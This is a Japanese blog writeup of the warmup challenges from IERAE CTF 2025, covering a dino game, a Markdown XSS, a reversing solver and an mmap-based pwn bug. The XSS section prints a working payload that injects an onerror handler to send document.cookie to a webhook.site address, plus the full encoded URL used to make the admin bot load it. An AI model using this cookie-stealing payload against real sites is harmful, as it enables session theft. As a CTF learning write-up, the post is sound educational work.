日記

日本語の勉強のためのブログ

IERAE CTF 2025 writeup(warmupだけ)

warmupだけ解いたので解法を残す。

個人的難易度について

個人用として、CTF初級者の私の立場で見た難易度を記載している。上に行くほど簡単。

  • 瞬殺:問題を見てすぐに解法が思いつく
  • 弱:数分で解ける
  • 中:1時間以内に解ける
  • 強:数時間かけてやっと解ける

DiNo.1 (misc, warmup)

個人的難易度:弱

No Internet
インターネットに接続されていません
Challenge: http://34.84.32.127:80

Chromeでオフライン時に遊べる恐竜ゲームを模したWebサイトが与えられる。
スコアを5000点以上取るとflagが得られるらしい。ゲームオーバー時のコードを見てみよう。

function gameOver() {
    isGameOver = true;

    if (score >= clearscore) {
        gameClearElement.style.display = 'block';
        function a0_0x3ccb(_0x32efe4,_0x3fcc98)(注:難読化されたコード。長いので省略)
    } else {
        gameOverElement.style.display = 'block';
    }

    cancelAnimationFrame(animationId);
}

見ての通り、スコアが規定以上であれば難読化されたコード(おそらくflagを表示するコード)が実行される。
そのため、スコアを5000点以上に設定したうえでこの関数を直接呼び出せばflagが表示される。

具体的にはF12を押して開発者ツールを起動し、コンソール画面でscore=9999;gameOver()と入力するとゲームクリアした扱いとなり、flagが得られる。

IERAE{In_f4ct,th3_4uth0r's_h1gh_sc0r3_1s_4b0ut_5000}

※なお、難読化されたコードについてはde4jsを用いても解除できなかったので、解読は諦めた

Warmdown (web, warmup)

個人的難易度:強(この手の問題が初だったため)

Warmdown = Warmup + Markdown
Challenge: http://34.146.192.216:3000
Admin bot: http://34.85.61.65:1337

入力内容をMarkdown形式でレンダリングし、そのプレビューとHTMLソースを表示するWebサイトChallengeが与えられる。
さらに、任意のWebサイトにアクセス可能なAdmin botも与えられる。

1. XSS脆弱性を見つける

まずChallengeを確認する。
Markdownのパース処理においてURLのサニタイズが行われていないため、不正なMarkdownを入力することでXSSが可能である。

今回は画像の表示機能を悪用する。
Markdownでは![alt-text](URL)と記述すると<img src="URL" alt="alt-text">というHTMLソースに変換される。
ここで![alt-text" onerror="任意のjsコード](存在しないURL)と入力すると、<img src="存在しないURL" alt="alt-text" onerror="任意のjsコード">に置換されるから、任意のjsコードが実行可能となる。

これを利用し、cookieを適当なサイト(例:webhook.site)に送りつけてやれば、そこからcookieを取得することができる。
以下が実際に使用したペイロードである。

![hoge" onerror="new Image().src='https://webhook.site/2c0468c6-ba96-4c1c-ad05-a8423948cba1?c='+document.cookie](hoge)

このペイロードをChallenge側でRenderすると、以下のURLに遷移し、プレビューとHTMLソースが確認できるようになる。
このURLは次の手順で利用するため、メモしておく。

http://34.146.192.216:3000/?markdown=%21%5Bhoge%22+onerror%3D%22new+Image%28%29.src%3D%27https%3A%2F%2Fwebhook.site%2F2c0468c6-ba96-4c1c-ad05-a8423948cba1%3Fc%3D%27%2Bdocument.cookie%5D%28hoge%29

2. XSS脆弱性を含むリンクをbotに踏ませる

Admin botソースコードbot.jsを見ると、このbotcookieにflagをセットしたうえで入力URLにアクセスすることがわかる。
そのため、先ほどのURLをこのbotにクロールさせれば、webhook.siteにクエリ文字列としてcookie(=flag)が届く。

FLAG=IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}

※ここで注意点として、cookieドメインwebと指定されている。
つまりwebというドメインにしかcookieが送信されないので、先ほどのURLのドメイン名をweb:3000に変える必要がある。

例:http://web:3000/?markdown=%21%5Bhoge%22+onerror%3D%22new+Image%28%29.src%3D%27https%3A%2F%2Fwebhook.site%2F2c0468c6-ba96-4c1c-ad05-a8423948cba1%3Fc%3D%27%2Bdocument.cookie%5D%28hoge%29

rev rev rev (rev, warmup)

個人的難易度:瞬殺

Reverse it.

与えられた暗号化スクリプトの処理を逆順に行うだけ。
solverを以下に示す。

z = [-246, -131, -204, -199, -159, -203, -201, -207, -199, -159, -204, -158, -155, -205, -211, -206, -201, -206, -205, -211, -158, -159, -207, -202, -211, -199, -206, -155, -206, -211, -204, -200, -200, -200, -203, -208, -159, -199, -133, -187, -191, -174, -187, -183]

y = [~i for i in z]
x = [i^0xff for i in y]
x.reverse()
flag = [chr(c) for c in x]
print("".join(flag))

IERAE{9a058884-2e29-61ab-3272-3eb4a9175a94}

Length Calculator (pwn, warmup)

個人的難易度:瞬殺(原因究明には数時間かかった)

This is my first C code. Why is this language so bothering when handling strings???
nc 34.146.219.32 33334

なんとなく0を入力したらflagをゲットしてしまった・・・

IERAE{Th3_5h0rt35t_3v3r_07a972c0}

これでは不完全燃焼なので、ちゃんと原因を確認する。

原因究明

今回のバイナリのソースを見ると、SIGSEGVを出せばflagを得られることがわかる。
これを踏まえたうえで、バイナリの主な処理の流れを見てみよう。

  1. ユーザ入力をunsigned int sizeに代入(0~4294967295が入る)
  2. char *buf = mmap(NULL, size, ...)で領域確保(確保に失敗すればMAP_FAILED = -1が入る)
  3. if (!buf)でエラーチェック(← 本当は-1かどうかのチェックをすべき。意味のないチェック)
  4. ユーザ入力をbufに代入したのち、buf[strcspn(buf, "\n")] = '\0'; (← bufのアドレスが不正ならここでSIGSEGVが発生)

つまり、mmap()で確保に失敗した際にSIGSEGVが発生するとわかる。 確保に失敗するケースは以下の2つが考えられるから、このいずれかを実行すればflagが得られる。

  • sizeが非常に大きく、メモリを確保できない
  • sizeが0である(この場合はエラーが出ると仕様で決まっている)